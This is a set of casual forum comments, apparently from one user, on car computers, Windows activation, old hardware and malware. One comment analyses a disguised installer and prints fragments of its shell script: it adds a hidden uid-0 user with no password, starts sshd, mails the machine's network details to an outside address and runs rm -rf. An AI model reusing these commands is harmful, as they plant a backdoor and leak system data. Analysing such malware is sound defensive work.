It's not illegal to be using the phone as long as you're not holding it. So, if you just pressed a button on your dash mounted phone to accept the bluetooth ad then it wouldn't be illegal. Of course, if you were reading the ad instead of paying attention to the road and ran over someone then you would be in trouble for driving carelessly.
Truthfully, theres so much support and info out there to set a carputer up with windows, I find very few reasons to make me want to spend more time with linux for it.
The hardest part of getting a computer into your car is the getting the computer into the car part, not the installing of the OS. Once the hardware is in there you can install whatever you want on it.
That might just be me though, trying to do it cheap:) I found that just getting an old laptop and sticking it in the glove box was easiest. It even shuts itself down nicely when you turn the engine off thanks to acpi telling it when the "AC adapter" is disconnected.
I had to activate windows over the phone the other day, because installing SP2 on it broke everything (well, it just didn't like the SIGNED graphics card driver).
It kept hanging while it was starting up so I took all the expansion cards out, including the graphics card and used the onboard. Worked fine, apart from popping up a message saying the hardware had changed dramatically and windows needed to be reactivated. Didn't have time to play with it so I left it a few days. Next time I turned it on I couldn't do anything unleses I activated windows. Ok, I will just activate it over the internet - or I would if it was configured for the network it was connected to. Cancel activation so I can set up the network, nope, can't change network settings unleses I activate windows (even in safe mode). So, do I configure a DHCP server on another machine, or use the activate by phone option? It was a free call, but if I knew how long it was going to take for the auto responder to read out really really long numbers for me to type then I would have just set up a DHCP server.
We already have little sensors on the back bumper that make a little speaker beep to let us know how far away we are from the car behind us, I found some and fitted them the other day. Now just get a load of those sensors and stick them all around the car, wire them up to the computer and have a little looping program checking each one. If one detects something too close then hit the brakes and cut the power. That could be the Starter Edition anyway, the Professional version could detect things further away and slow you down instead of suddenly stopping you - and maybe be able to tell the difference between leaves in the wind and a real obstacle so you don't have to keep restarting the engine everytime you drive under a tree in autumn.
I have an old 200MB hard drive in that old 486 down there that doesn't always start spinning when you turn it on. Just give it a kick and it works fine.
I got sent out to one of the large supermarkets here with my sisters card to get some cash out the machine and then buy her stuff. The machine was broken so I just went in the shop to get stuff and stick her pin number in the chip and pin machine. Then I found out they didn't have chip and pin yet, so I ended up signing my name. They didn't even care that I wasn't female.

A lot like the requirements for USB flash drives, which are all USB mass storage devices. They work fine with any newish OS with USB support, but you need to install a driver for 98. If the only thing you connect this thing to your PC for is to copy files back and forward then it probably will work (as a usb storage device).
Some cars use the brake pedal for starting the engine, you stick the magnetic card in, press the brake pedal down and push the start button. Wont start unless the brake pedal is down. If you don't know the car now it's a bit like figuring out nintendo cheat codes to get things to work. Brake, Brake, Start, Clutch, seat forward 2, indicate left, 1st, 3rd, handbrake, horn.. god mode enabled.
If we didn't have a major manufacturer behind it, we're talking old stuff which. Not quite as fast, not as efficient, and more liable to breakage.
I have found old machines to be more reliable than new ones. Slower, but they get the job done in the end rather than just dying and not starting up again. You could probably build a few p200's with 64Meg of ram and a 10Gig HDD that would be good enough for word processing, email, and im and last longer than a $500 P4 box for less than $100. The problem is, finding software to run on them.
That would need to be done with good old hardware though, if these old parts were made again and sold at what they were worth then they would probably be worse quality and likely to break after a year.
I just looked at inst.c and changed it a bit to print what it runs instead of running it. Looks like a shell script hidden in some C (using shc, http://www.datsi.fi.upm.es/~frosal/sources/shc.htm l )
I think it's probably somewhere in between 5% and 90%... Actually, it could be 5% or 90%. I look after machines in the towns round here for home users and businesses. Over the last few months about 90% of the jobs I have done for home users have been removing spyware or viruses, but only 5% or 10% of jobs for businesses have been spyware related.
(although they do have to support 9600bps data rates, who wants to surf at that speed.)
I think it only has to be 2400bps here (UK), at least thats what I remember being told and what this suggests on page 11 (pdf), but I didnt read all of it:)
I thought something like 'ooh' when I read it spreads by kazaa too. I thought maybe it was connecting to the fasttrack network and being a fake kazaa node, but, it just seems to be copying itself to the default kazaa shared folder - so it will only spread via kazaa if you actually use kazaa.
You could have just stuck little plastic pots at each end of the zipline and talked to each other (that was the first site I found:) look at the experiments section).
4 seconds sounds like the time difference between watching a channel on terrestrial and the exact same thing on satellite over here. Maybe thats why they were off, some satellite somewhere:)

They have at least $5000 dollars on 1 camera crew and they at least have two crews.
That's the third time this week I've seen that, what are dollar dollars?

audio worked fine here with totem, even though I had no idea I had totem.. or what totem was. I was expecting gst-player to appear and crash.

what does it say? :)
I just looked at inst.c and changed it a bit to print what it runs instead of running it. Looks like a shell script hidden in some C (using shc, http://www.datsi.fi.upm.es/~frosal/sources/shc.htm l )
/tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama | mail -s "Inca o roata" root@addlebrain.com >> /dev/null /tmp/mama
The working bit of the script is:
echo "Inca un root frate belea: " >>
adduser -g 0 -u 0 -o bash >>
passwd -d bash >>
ifconfig >>
uname -a >>
uptime >>
sshd >>
echo "user bash stii tu" >>
cat
rm -rf
So, adds a user called bash with root privs, starts sshd and emails your IP address to someone.

This car has no key, so he couldn't just cut the motor that way.
This article at theregister says that's how he stopped it, by pulling out the key.

Color: yellow, red, green, blue, silver, etc.
So, whats the etc. for? are they trying to say it can be any color as long as its a color.
They dont seem to have them on Duracell plus, but Duracell M3 batteries do. I guess its just something you get with the top of the range types :)
You could try kazaa.
I thought something like 'ooh' when I read it spreads by kazaa too. I thought maybe it was connecting to the fasttrack network and being a fake kazaa node, but, it just seems to be copying itself to the default kazaa shared folder - so it will only spread via kazaa if you actually use kazaa.
